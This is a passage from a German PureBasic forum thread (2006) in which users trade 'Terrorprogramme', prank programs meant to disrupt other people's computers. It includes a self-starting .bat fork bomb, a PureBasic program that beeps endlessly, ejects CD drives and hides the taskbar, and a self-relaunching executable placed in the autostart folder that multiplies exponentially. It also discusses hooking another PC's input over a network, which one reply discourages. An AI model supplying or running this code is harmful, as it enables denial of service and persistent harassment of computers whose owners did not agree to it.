Seite 9 von 15

Verfasst: 14.05.2006 10:27
von hardfalcon
Ich schlage vor, dass der Thread hier in "7r3ffpunk7 für 5cr1p7k1dd135" umbenannt wird... /:->

Verfasst: 14.05.2006 14:41
von winduff
Manmanman was für leuts es alles gibt :-P

Sowas nervt einfach :roll:

Verfasst: 23.06.2006 17:56
von Joel
Gibt es so ein Terror Programm wo ein männchen vor dem bildschirm unsinn macht, hab ich mal in ner Zeitschrieft gelesen?

Verfasst: 23.06.2006 19:28
von ZeHa
Lustig ist es, wenn man eine .bat-Datei macht, die z.B. "hallo.bat" heißt, und darin steht einfach nur "start hallo.bat" :mrgreen:

Das ist schon übel genug, aber noch schlimmer wird's, wenn man ZWEIMAL "start hallo.bat" reinschreibt :allright:

Mir ist das mal aus Versehen passiert, also Fall 1 ;) und außer einem Neustart fiel mir keine andere Lösung ein...

Verfasst: 26.06.2006 11:11
von Kaeru Gaman
Joel hat geschrieben:Gibt es so ein Terror Programm wo ein männchen vor dem bildschirm unsinn macht...
..ein Link zu deiner Webcam?

Verfasst: 26.06.2006 13:11
von Ground0
Hallo zusammen

Hab gerade das erste Terrorprogramm hier für PB4 heute angepasst :twisted:

Code: Alles auswählen

Procedure AlertThread()
  Repeat
    Beep_(1000,100)
    Beep_(2000,50)
    Beep_(500,200)
  ForEver
EndProcedure
Procedure AlertThreada()
  cd = InitAudioCD()
  Repeat
    o + 1
    If o > 1
      o = 0
    EndIf
    For a = 0 To cd-1
      UseAudioCD(a)
      EjectAudioCD(o)
    Next
  ForEver
EndProcedure
Procedure AlertThreadb()
  Repeat
    taskbarhandle.l = FindWindow_("Shell_TrayWnd", 0)
    ret = ShowWindow_(taskbarhandle, #SW_SHOW)
    Delay(1000)
    taskbarhandle.l = FindWindow_("Shell_TrayWnd", 0)
    ret = ShowWindow_(taskbarhandle, #SW_HIDE)
    Delay(1000)
  ForEver
EndProcedure

CreateThread(@AlertThreadb(), 0)
CreateThread(@AlertThreada(), 0)
CreateThread(@AlertThread(), 0)
OpenWindow(1,0,0,100,100,"ERROR",#PB_Window_ScreenCentered)
Repeat
  HideWindow(1,d)
  d+1
  If d > 1
    d = 0
  EndIf
  StartDrawing(WindowOutput(1))
  DrawText(20,20,"ERROR")
  StopDrawing()
  Delay(1000)
ForEver 
Gruss Ground0

Verfasst: 26.06.2006 18:21
von Joel
Oder ich habe noch eine Idee, mein Bruder hat ein Spiel (Autorennen).
Aber wenn man lange auf die Leertaste drückt kann man dich mehr lanken, Folge: Man fährt geradeaus in den Abgrund.


Geht das irgentwie das wenn ich wen 2 Computer im Netzwerk sind dass dann bei einem auf was gedrückt wird und beim anderen die Wirkung passiert, die beim drücken der Leertaste passiert oder gibt es irgentwelche Codeschnipsel?

Verfasst: 27.06.2006 08:29
von Kaeru Gaman
> Aber wenn man lange auf die Leertaste drückt kann man dich mehr lanken, Folge: Man fährt geradeaus in den Abgrund.

das liegt einfach daran, dass der tatastaturpuffer überläuft, er nimmt also die lenk-tastendrücke nicht schnell genug an, weil er noch mit der bearbeitung der spaces beschäftigt ist. das game ist einfach schlecht programmiert, sonst nix...


> Geht das irgentwie das wenn ich wen 2 Computer im Netzwerk sind dass dann bei einem auf was gedrückt wird und beim anderen die Wirkung passiert, die beim drücken der Leertaste passiert

klar geht das, wenn du ein autorennen schreibst, kannst du alles einbaun.

ach, du meinst bei fertigen games?
du müsstest wohl die komplette eingabe des 2ten rechners hooken, und ggf. bei anweisung über netz andere eingaben als wirklich stattfinden simulieren.

aber das wäre ein riesen aufwand, in meinen augen ist es energieverschwendung, soviel kraft und zeit in destruktive ideen zu investieren.

such dir ne freundin, oder keul' dir mal einen, du scheinst mir irgendwie unausgeglichen.

Verfasst: 02.07.2006 17:34
von Programie
Hab da noch so ein Terror-Vorschlag:

Code: Alles auswählen

RunProgram("C:\App.exe")
Repeat:ForEver
Das Programm als App.exe in das Verzeichnis "C:\" kompilieren.
Dann das Programm in den Autostartordner (C:\Dokumente und Einstellungen\AllUsers\Startmenu\Autostart\Run.exe) kopieren.

Und dann: Starten! :mrgreen:

Viel spaß! :lol:

Verfasst: 02.07.2006 19:02
von ZeHa

Code: Alles auswählen

RunProgram("C:\App.exe") 
RunProgram("C:\App.exe") 
Repeat:ForEver
Das gibt der Sache noch den nötigen exponentiellen Speeeeeed :mrgreen: